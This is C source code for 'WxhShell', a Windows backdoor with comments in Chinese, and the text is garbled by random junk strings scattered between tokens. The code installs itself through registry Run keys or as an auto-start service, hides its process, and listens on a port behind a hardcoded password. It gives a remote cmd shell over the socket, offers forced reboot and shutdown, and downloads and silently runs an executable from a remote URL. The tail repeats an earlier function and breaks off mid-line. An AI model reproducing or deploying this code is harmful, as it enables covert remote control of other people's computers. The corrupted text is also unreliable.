My static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \{ EVRRXn static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; giNXXjl q x)\{By HANDLE hProcess; &SbdX PROCESS_BASIC_INFORMATION pbi; Ip{R'HG/ V*\hGNV HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /ZV2f3;t if(NULL == hInst ) return 0; .4%z$(+6 gdf0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }jCO@v; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SzMh NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D8L5t<^1R i-v: % if (!NtQueryInformationProcess) return 0; /io06)-/n \HLo%]A@M hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H^n@9U;[K if(!hProcess) return 0; ny13+Q`^ A|f6H6UUx if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <WIIurp #E!^oZm<Z CloseHandle(hProcess); .|[{$&B no<$=(11i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p\=T#lb if(hProcess==NULL) return 0; 6o#/[Tz jI\@<6O HMODULE hMod; ulsU~WW7r char procName[255]; >b2!&dm unsigned long cbNeeded; w~6UOA8} doL-G?8B if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :%sBY0 yF 4aOz=/x2 CloseHandle(hProcess); D{B?2}X b69nj if(strstr(procName,"services")) return 1; // 以服务启动 \o[][R#D F@Sk=l( return 0; // 注册表启动 j<(E%KN3 } 9k;,WU(K< Jd7chIK // 主模块 <CuUwv
'A int StartWxhshell(LPSTR lpCmdLine) 3*</vo#` { bfA>kn0C SOCKET wsl; =OO4C BOOL val=TRUE; ^~V2xCu! int port=0; {FFdMdxy- struct sockaddr_in door; {BJ>x:2 >rQj1D)@ if(wscfg.ws_autoins) Install(); ExtC\(X; y-E'Y=j port=atoi(lpCmdLine); &YY`XEG59O :L@;.s if(port<=0) port=wscfg.ws_port; Aeh# aC}\`.Kb WSADATA data; ZJ%NZAxy if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QtnNc!,n hdw.S`~}% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; '=$`NG8l setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k( 0; >)<i door.sin_family = AF_INET; oVK:A;3T| door.sin_addr.s_addr = inet_addr("127.0.0.1"); o_Zs0/ door.sin_port = htons(port); [Ep'm 4o}{3! m if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Chnt)N`/B4 closesocket(wsl); *4
LS`` return 1; EmT_T3v } YtvDayR> sf2%WPK
if(listen(wsl,2) == INVALID_SOCKET) { :dW\Q&iW closesocket(wsl); P+f}r^4} return 1; +m./RlQ{ } eQuw uT Wxhshell(wsl); t[2b~peNI WSACleanup(); |*t 2IVwX ^|Z'}p|& return 0; _<f%==
I' _0$>LWO~ } Brxnl,%\ 8lx}0U // 以NT服务方式启动 UY9*)pEE VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ydrh+ { p+~Imf-Jk DWORD status = 0; +#wVe DWORD specificError = 0xfffffff; W)ug%@ ) (km
$qX serviceStatus.dwServiceType = SERVICE_WIN32; @cIYS%iZ serviceStatus.dwCurrentState = SERVICE_START_PENDING; R5e[cC8o. serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y2+f)Xp_.C serviceStatus.dwWin32ExitCode = 0; `r1j>F7Xb serviceStatus.dwServiceSpecificExitCode = 0; gnZ#86sO serviceStatus.dwCheckPoint = 0; <xeB9 serviceStatus.dwWaitHint = 0; =KQIrS: >QYx9`x& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N<SW
$ o if (hServiceStatusHandle==0) return; HYO/]\al 3M?O(oO status = GetLastError(); awR !=\ if (status!=NO_ERROR) \2+ngq) { T"htWo{v> serviceStatus.dwCurrentState = SERVICE_STOPPED; lS Y " serviceStatus.dwCheckPoint = 0; sHPAr}14 serviceStatus.dwWaitHint = 0; %|+aI? serviceStatus.dwWin32ExitCode = status; K?,?.!ev serviceStatus.dwServiceSpecificExitCode = specificError;
)0E_Y@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); LodP,\T return; #Ev}Gf+5Q } DXD+,y\= f{2UL ?y serviceStatus.dwCurrentState = SERVICE_RUNNING; :4[>]&:u3 serviceStatus.dwCheckPoint = 0; ,5<AV K-#Q serviceStatus.dwWaitHint = 0; ?`Z:vqp>Z if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g]h@U&`~u_ } OU` !c[O #*9 |\ // 处理NT服务事件,比如:启动、停止 LsI@_,XW< VOID WINAPI NTServiceHandler(DWORD fdwControl) "4xo,JUf { E3p$^['vx switch(fdwControl) QsKnaRT { S=S/]]e case SERVICE_CONTROL_STOP: 2V;{@k serviceStatus.dwWin32ExitCode = 0; |g \_xl serviceStatus.dwCurrentState = SERVICE_STOPPED; IHCxM|/k(M serviceStatus.dwCheckPoint = 0; _l]
0V
g` serviceStatus.dwWaitHint = 0; |1H9,:*% { OR+_s @Yg SetServiceStatus(hServiceStatusHandle, &serviceStatus); WF~x`w&\ } ~G8l1dD return; wbr$w>n case SERVICE_CONTROL_PAUSE: 6&<QjO serviceStatus.dwCurrentState = SERVICE_PAUSED; POc<XLZB break; GMZ6 dK case SERVICE_CONTROL_CONTINUE: S['%> serviceStatus.dwCurrentState = SERVICE_RUNNING; 8cvSA&l(D break; }+S~Ah?( case SERVICE_CONTROL_INTERROGATE: _d7;Z% break; ?Qd`Vlp7 }; [oBRH]9cq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); IDF0nx] } Q~Nq5[ ^h=gaNL // 标准应用程序主函数 im+g|9@% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =Gj~:|;$ { &xUCXj2-z t:oq't // 获取操作系统版本 Hr] OsIsNt=GetOsVer(); #~m^RoE GetModuleFileName(NULL,ExeFile,MAX_PATH); c*axw%Us sAA;d // 从命令行安装 ]C+PJ:CC if(strpbrk(lpCmdLine,"iI")) Install(); 2YQBw,gG Ap"%%D^{: // 下载执行文件 vd^Z^cpip if(wscfg.ws_downexe) { W:WRG8(F if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `B8`<3k/( WinExec(wscfg.ws_filenam,SW_HIDE); ./DlHS; } A=ez,87 {@x-T if(!OsIsNt) { &{wRB l # // 如果时win9x,隐藏进程并且设置为注册表启动 pnuwjU- HideProc(); RvU'8Y?>w StartWxhshell(lpCmdLine); Je^;[^ } Xfb-<
Q0A else #U3q
+d+^ if(StartFromService()) (B@\Dw8^ // 以服务方式启动 -!T24/l StartServiceCtrlDispatcher(DispatchTable); 9&kPcFX B else 0&kmP ' // 普通方式启动 ?hp,h3s;n$ StartWxhshell(lpCmdLine); jgEYlZ U? U3?Y-k` return 0; p?
VDBAx } |XQ\c.A S5L0[SZ$! K-c>J
uv&, Ya<V@qd =========================================== 4`V&Yqwl #'i,'h+F FKf2Q&2I 6 RSit G_k_qP^: %l%2 hvGZ " , a2=OV .M[t5I'\ #include <stdio.h> jQfnc:' #include <string.h> zqXDD; w3 #include <windows.h> k0b6X5 #include <winsock2.h> r0\C2g_X #include <winsvc.h> }-Nc}%5 #include <urlmon.h> XVKRT7U ,x3<a}J #pragma comment (lib, "Ws2_32.lib") kcNPdc #pragma comment (lib, "urlmon.lib") Kb/qM}jS BryD?/}P)M #define MAX_USER 100 // 最大客户端连接数 #rz!d/)Q #define BUF_SOCK 200 // sock buffer 8|!"CQJ|H #define KEY_BUFF 255 // 输入 buffer XZTH[#MqeI Oo~
#define REBOOT 0 // 重启 9D?JzTsyg #define SHUTDOWN 1 // 关机 Cs vwc% p7.~k1h #define DEF_PORT 5000 // 监听端口 W:}t%agis e?GzvM'2 #define REG_LEN 16 // 注册表键长度 &pv*TL8 #define SVC_LEN 80 // NT服务名长度 3n_t^= %Go/\g // 从dll定义API aOUTKyR ~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A=D
G+z'' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]4FAbY2'h typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7PO]\X^(zE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W6u(+P](" x_(K%0+Ca // wxhshell配置信息 L5wFbc"u struct WSCFG { Pn?gB}l int ws_port; // 监听端口 cA90FqUH char ws_passstr[REG_LEN]; // 口令 2UBAk')O} int ws_autoins; // 安装标记, 1=yes 0=no ' 1dhdm8 char ws_regname[REG_LEN]; // 注册表键名 (3j f_ char ws_svcname[REG_LEN]; // 服务名 0OtUb:8LX char ws_svcdisp[SVC_LEN]; // 服务显示名 kWCxc0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 b:
I0Zv6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0^d<@\ int ws_downexe; // 下载执行标记, 1=yes 0=no zUWWXC%R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,K.Wni#m char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *M$$%G(4 {Bpu-R&T }; 1b2xWzpG ogdgLTi // default Wxhshell configuration K8v@) struct WSCFG wscfg={DEF_PORT, y
XCZs "xuhuanlingzhe", w)>/fG|; 1, v#5hK<9 "Wxhshell", P
qa;fiJ) "Wxhshell", :vE\r#hJ" "WxhShell Service", @A-E "Wrsky Windows CmdShell Service", b>& 3XDz "Please Input Your Password: ", 2FN# 63 1, i06|P I
"http://www.wrsky.com/wxhshell.exe", Jg6@)<n "Wxhshell.exe" PD^Cj?wm }; w6AG:u X09i+/ICK // 消息定义模块 Se!B,'C% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 87R$Y> V char *msg_ws_prompt="\n\r? for help\n\r#>"; i~{ 0>"9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -Y>QKS char *msg_ws_ext="\n\rExit."; `T{CB) ?9 char *msg_ws_end="\n\rQuit."; @F*z/E}e char *msg_ws_boot="\n\rReboot..."; dw!Xt@,[g{ char *msg_ws_poff="\n\rShutdown..."; 7/_|/4& char *msg_ws_down="\n\rSave to "; Om>?"=yD E PRx- 0S char *msg_ws_err="\n\rErr!"; 9j5|o([J char *msg_ws_ok="\n\rOK!"; a/H5Y,b> -o~n06p char ExeFile[MAX_PATH]; p@O,-&/D int nUser = 0; .*xO/pn HANDLE handles[MAX_USER]; q8.Z7ux int OsIsNt; B1s&2{L6K E>gLUMG$ SERVICE_STATUS serviceStatus; ;]=@;? 9 SERVICE_STATUS_HANDLE hServiceStatusHandle; vb]uO ' l w5rtYTI // 函数声明 .6y*Z+Zg int Install(void); Io>U-Zd\> int Uninstall(void); Pth4_]US int DownloadFile(char *sURL, SOCKET wsh); m=/HUt3(&0 int Boot(int flag); `[XH=-p void HideProc(void); o1b.a*SZ int GetOsVer(void); 2']0c
z int Wxhshell(SOCKET wsl); *CAz_s< void TalkWithClient(void *cs); T+rym8.p int CmdShell(SOCKET sock); TiZ
MY:^ int StartFromService(void); 2n2,MB int StartWxhshell(LPSTR lpCmdLine); O U9{Y9e o8IqO' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AW9%E/{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); <7B;_3/ ;05lwP*r] // 数据结构和表定义 !=yO72dgLY SERVICE_TABLE_ENTRY DispatchTable[] = \$t{K { Z=%u:K}[ {wscfg.ws_svcname, NTServiceMain}, D+oV( Pw, {NULL, NULL} -;RAW1]}Y$ }; u:J4Az^! QJ>=a./ // 自我安装 jGJf[:M&Pm int Install(void) QfM^J5j.M? { f`\J%9U _O char svExeFile[MAX_PATH]; 3/&
|Z<f HKEY key; O8rd*+ strcpy(svExeFile,ExeFile); A e2Y\ sAV -xJ\/"A // 如果是win9x系统,修改注册表设为自启动 J4iu8_eH!D if(!OsIsNt) { d4Y[}Fcp+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =
1d$x: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >s,*=a RegCloseKey(key); 9c1q:>| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 20` XklV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NA/Sv"7om RegCloseKey(key); r8FAV9A return 0; !}1l8Y } ?6I`$ &OA } I>-}ys`[ } N5k9o:2 else { 5`K'2 8-b~p // 如果是NT以上系统,安装为系统服务 fg1uqS1rg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HJ!)&xT if (schSCManager!=0) 6+PP(>em { [r'hX# SC_HANDLE schService = CreateService #}Ays#wA>? ( mcQ\"9 ;pY schSCManager, A?)(^ wscfg.ws_svcname, }2Im?Q wscfg.ws_svcdisp, G~Y#l@8M+ SERVICE_ALL_ACCESS, =aehhs> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $.B}zY{ SERVICE_AUTO_START, : R8+jO SERVICE_ERROR_NORMAL, 5pRVA svExeFile, d{C8}U NULL, (hv}K*c{ NULL, x}reeqn NULL, 3|Ar~_] NULL, tfe'].uT NULL ?C6` ); [Kbna>` if (schService!=0) 6b!1j,\Vx { I+Fr#1 CloseServiceHandle(schService); i{J[;rV9 CloseServiceHandle(schSCManager); x6=tS
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0E&XD&D strcat(svExeFile,wscfg.ws_svcname); qEjsAL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OQT i$2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {Z[kvXf"mZ RegCloseKey(key); $ g#d1u0q return 0; 8[8U49V9( } r1$x}I#Zv } <5sfII CloseServiceHandle(schSCManager); a6op } ZJ_P= } a+\s 0Qo< )#Y:Bj7H@2 return 1; s|"4!{It } %E2C4UbY HYg7B // 自我卸载 ] m^ECA$ int Uninstall(void) /B { "S&1J8D| HKEY key; OL#RkD sY'dN_F if(!OsIsNt) { v8A{q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %M05& < RegDeleteValue(key,wscfg.ws_regname); vYG$>* RegCloseKey(key); g|4v>5Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :SpPT RegDeleteValue(key,wscfg.ws_regname); Xc]Q_70O RegCloseKey(key); qk(u5Z return 0; .s@[-!
p } T}A{Xu*:+H } 'MIM_m)H } gJBk&SDgtP else { knZ<V%/e (fWQ?6[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I~Zm**L if (schSCManager!=0) \R<OT%8 { q0
8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NW;wy;; if (schService!=0) iD9hqiX& { \t@|-` if(DeleteService(schService)!=0) { V?cUQghHg CloseServiceHandle(schService);
6@ )bZ| CloseServiceHandle(schSCManager); \(ZOt.3!J return 0; r7p>`>_Q\ } yh Ymbu CloseServiceHandle(schService); Y~M H } _Msaub!N CloseServiceHandle(schSCManager); 6e;.}i } qT L@N9 } .{W)E T/C1x9=? return 1; Zx]"2U# } [VP~~*b DavG=kvd // 从指定url下载文件 \D
#NO int DownloadFile(char *sURL, SOCKET wsh) nEm+cHHo? { 89)rss HRESULT hr; ,Z I"+v char seps[]= "/"; bdCpGG9 char *token; re/l5v,|3 char *file; 4m6E~_:F char myURL[MAX_PATH]; z7J2O char myFILE[MAX_PATH]; f/qG:yTV` s0"1W"7vh strcpy(myURL,sURL); Sc*O_c3D token=strtok(myURL,seps); cv["Ps#;`W while(token!=NULL) VscEdtkd { f+huhJS5e file=token; O(PG"c token=strtok(NULL,seps); /^\6q"' } 7=8e|$K_ $9\!CPZ2 GetCurrentDirectory(MAX_PATH,myFILE); puz~Rfn#* strcat(myFILE, "\\"); Vj"B# strcat(myFILE, file); PQ|kE`' send(wsh,myFILE,strlen(myFILE),0); K/jC>4/c/ send(wsh,"...",3,0); i4N'[ P} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X&6p_Lo if(hr==S_OK) fgP_NYfOj return 0; >LwZ"IEV else m$:o+IH/ return 1; ;%AK< RT 7!`,P } \0m[Ch}~ey AjK'P<:/ // 系统电源模块 _{6QvD3kg. int Boot(int flag) nj~1y') { w7]@QTC HANDLE hToken; ".eD&oX{ TOKEN_PRIVILEGES tkp; W@1Nit-R (<pc4#B@* if(OsIsNt) { 0Q=4{*:? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qd 1Q~PBla LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jYRwtP\ tkp.PrivilegeCount = 1; }}v;V*_V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |b52JF
", AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hd.^ZD7 if(flag==REBOOT) { C9U~lcIS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9Bl_t}0 return 0; rm NqS+t } Q9Wa@gi| else { x5k6yHn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J
A ]s return 0; ` IiAtS } X 6/k `J } g6k@E,cI_ else { jAmAT/ 1 if(flag==REBOOT) { o jzO?z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =m=`| Bn return 0; utC]GiR } {mMrD 5 else { o-B9r+N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) it!8+hvq9* return 0; oW(p (> } /+ vl({vV } ](4V3w. V4}9f5FR return 1; LZV } w%)=`'s_ *? 7Ie;) // win9x进程隐藏模块 l~wx8
,?G void HideProc(void) a%7ju4CVj { dy;Ue5 Zi[@xG8dm HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SY_T\
} if ( hKernel != NULL ) 9`+c<j4/B { 6$w)"Rq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B0NKav ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4r`u@ FreeLibrary(hKernel); MRiQaUg2 } 7\'vSHIL /pZLt)=P return; bWo-(
qxq } V6?ku6k z@^[. // 获取操作系统版本 [S9T@Q int GetOsVer(void) 8E"Ik~ { y.26:c( OSVERSIONINFO winfo; deHhl(U; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wIz<Y{HA= GetVersionEx(&winfo); #.UooFk+Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sptDzVM return 1; K?,eIZ{.S else YA O,
rh return 0; mK5<;$ } Q\ TawRK8 +^YXqOXU // 客户端句柄模块 ao#{N=mn int Wxhshell(SOCKET wsl) PuqT&|wP l { DcE)6z# SOCKET wsh; 6uW?xB9 struct sockaddr_in client; \dTX%<5D DWORD myID; j<>E
Fd *P_(hG&c while(nUser<MAX_USER) Ol6jx%Je` { pw"
!iG} int nSize=sizeof(client); o8.KakrPP wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P%
_cIR if(wsh==INVALID_SOCKET) return 1; sx IvL7jl
i-w^pv' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T_|%nF-+ if(handles[nUser]==0) MWl?pG!Y closesocket(wsh); 1r;]== else Gf(hN|X. nUser++; <|[G=GA\S! } bhDV U(%I6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [74HUw> 16ahU$@- return 0;
?TA%P6Lw } xW4+)F5P( ^'4uTbxP_! // 关闭 socket WU\bJ} void CloseIt(SOCKET wsh) &/F[kAy { ^ym{DSx closesocket(wsh); 4vS!99v) nUser--; Se8y-AL6x> ExitThread(0); EYG E#C;
d } CK</2 w+ E=NY{| > // 客户端请求句柄 ~S!kn1&O void TalkWithClient(void *cs) !?/bK[
P, { <GRf%zJ [#Vr)\n SOCKET wsh=(SOCKET)cs; ~7a BeD char pwd[SVC_LEN]; =[+&({ char cmd[KEY_BUFF]; X~3P?O]kFv char chr[1]; 4/WCs$ int i,j; /nFw e~;)-Z while (nUser < MAX_USER) { vKC&Qi ; P;LZ!I if(wscfg.ws_passstr) { ?/MXcI( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YO0x68 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m4>oE|\ //ZeroMemory(pwd,KEY_BUFF); KBe { i=0; FF~4y>R7u while(i<SVC_LEN) { H>iZVE K<JP9t6Qd // 设置超时 j]O[I^5 fd_set FdRead; KB*=a struct timeval TimeOut; *+4iBpyiB FD_ZERO(&FdRead); 0\nhg5]? FD_SET(wsh,&FdRead); Qm x~_ TimeOut.tv_sec=8; d}cJ5!d TimeOut.tv_usec=0; > C&<dO#i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <9tG_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &(^u19TKl f+Li'? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yj/nzTVJ[ pwd=chr[0]; E*CQG;^=N if(chr[0]==0xd || chr[0]==0xa) { ,ri--< pwd=0; 3|r!*+. break; $!!=fFX*y } @M^QhHs i++; >/kG5]zxY } -0WCwv .r%|RWs6W // 如果是非法用户,关闭 socket W(lKR_pF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DB'KIw } T KL(97)< NZW)X[nXM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7h&`BS send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `oRs-,d|< i3&B%JiLX while(1) { MXJ9,U{<C' `Mp7}) ZeroMemory(cmd,KEY_BUFF); eEGcio}_I9 aC
Lg~g4 // 自动支持客户端 telnet标准 y&=19A# j=0; 'Qq_Xn8 while(j<KEY_BUFF) { JP,(4h* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9Y@?xn.\ cmd[j]=chr[0]; }d\Tk(W if(chr[0]==0xa || chr[0]==0xd) { UQ?OD~7 cmd[j]=0; 4FE@s0M, break; :`^3MMLO } :tqm2t j++; #iU8hUbo } [x p,& pH l2!{z // 下载文件 A1t~&? if(strstr(cmd,"http://")) { XL/o y'_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ME@6.* if(DownloadFile(cmd,wsh)) ZWhmO=b! send(wsh,msg_ws_err,strlen(msg_ws_err),0); O:=|b]t else l8AEEG8> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?-:: {2O) } oBNX8%5w else { _X2EBpZp $FusDdCv3 switch(cmd[0]) { d:<H?~ 87pXv6'FQ // 帮助 4,F3@m:< case '?': { ^?7dOW send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N>pmhskN? break; sId(PT^ } "ryk\}*< // 安装 H&=n:'k^ case 'i': { o%WjJ~!zL if(Install()) KW|\)83$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); T<f\*1~^ else >'}=.3\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M9s43XL(& break; T~o{woq}g } Gl8&FrR // 卸载 m
UWkb case 'r': { U7B/t3,=U if(Uninstall()) (\T0n[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8L-4}!~C else t`Y!"l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `/w\2n break; &(1H!
} Rj}o4s2x // 显示 wxhshell 所在路径 3xzkZ8]/ case 'p': { JS/M~8+Et char svExeFile[MAX_PATH]; cZgMA8
F strcpy(svExeFile,"\n\r"); !0ce kSesr strcat(svExeFile,ExeFile); V@v1a@=W send(wsh,svExeFile,strlen(svExeFile),0); %0yS98']g break; 8wII{FHX } ZMoJ#p( // 重启 `s`C{|wv case 'b': { 7}?k^x,1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G`,u40a if(Boot(REBOOT)) 3a#PA4Ql send(wsh,msg_ws_err,strlen(msg_ws_err),0); X%GD0h]X# else { ]^:hyOK closesocket(wsh); a#+>w5 ExitThread(0); F<Hqo>G } BrJ
o!@< break; jow7t\wk } K4! P' // 关机 v<;: 0 case 'd': { ,Z>wbMJig send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -B1YZ/.rz" if(Boot(SHUTDOWN)) K1T1@ j send(wsh,msg_ws_err,strlen(msg_ws_err),0); +7Yu^& else { {~"7vkc+ closesocket(wsh); t`"^7YFS> ExitThread(0); ~ww?Emrw } Bx(yu'g|a break; E'5Ajtw; } }B y)y;~ // 获取shell NJZXs_%>$ case 's': { ;rd6ko CmdShell(wsh); b5AGk closesocket(wsh); T H|?X0b ExitThread(0); ?75\>NiR break; e:N7BZl'c9 } 7zD- ?% // 退出 6W5d7`A case 'x': { ht?CHUu send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xXF2"+ CloseIt(wsh); h4f~5- Y break; RfKc{V } VS?dvZ1cC // 离开 81Z4>F: case 'q': { W1vCN31 send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bg-VCJI< closesocket(wsh); ,Ij=b WSACleanup(); 1h2H1gy5I3 exit(1); /Zc#j^_ break; (@ "=F6P } ;4,'y } huz86CO } `h?LVD'l -Q#o)o
// 提示信息 {VR`; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h1#S+k } c4\C[$ } Jy9bY
l^P#kQA return; "%VbI P }
lWbZ=x_0 I~)cYl:|G // shell模块句柄 be7L="vZw int CmdShell(SOCKET sock) n12UBvc}% { /}=a{J STARTUPINFO si; %swR:Bv ZeroMemory(&si,sizeof(si)); 3YW=||;|Yg si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :j@8L.<U si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iX%[YQ | PROCESS_INFORMATION ProcessInfo; Nsn~@.UuSW char cmdline[]="cmd"; JkU1daTe CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i}B;+0<drx return 0; 9x?B5Ap[ } 4}i*cB` X8b|]Nr // 自身启动模式 ,)zt
AFn= int StartFromService(void) +dw!:P& { X D) 8? typedef struct @u/H8\.l { cD2+hp|9 DWORD ExitStatus; ]9*;;4Mg DWORD PebBaseAddress; Ql &0O27 DWORD AffinityMask; NG" yPn DWORD BasePriority; !,Nwts>m ULONG UniqueProcessId; .%'Z~|K4 ULONG InheritedFromUniqueProcessId; ^,TTwLy-t } PROCESS_BASIC_INFORMATION; i)8N(HN Z19m@vMsIP PROCNTQSIP NtQueryInformationProcess; vX;HC'%n W8]V static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l}rS{+:wK static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L\e>B>u EB!daZH, HANDLE hProcess; .et ^4V3 PROCESS_BASIC_INFORMATION pbi; ,PECYwegkt S@xXq{j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yfEb
if(NULL == hInst ) return 0; J#Z5^)$ C!&y g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !^y y0`k6 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); brSi< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8uch i c*;7yh&% if (!NtQueryInformationProcess) return 0; 3A,rHYS R-rCh. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pB p#a if(!hProcess) return 0; +}@8p[`) R^n@.^8s if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B4ZIURciGz >MG(qi CloseHandle(hProcess); rNlW7Y zl%>`k!> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 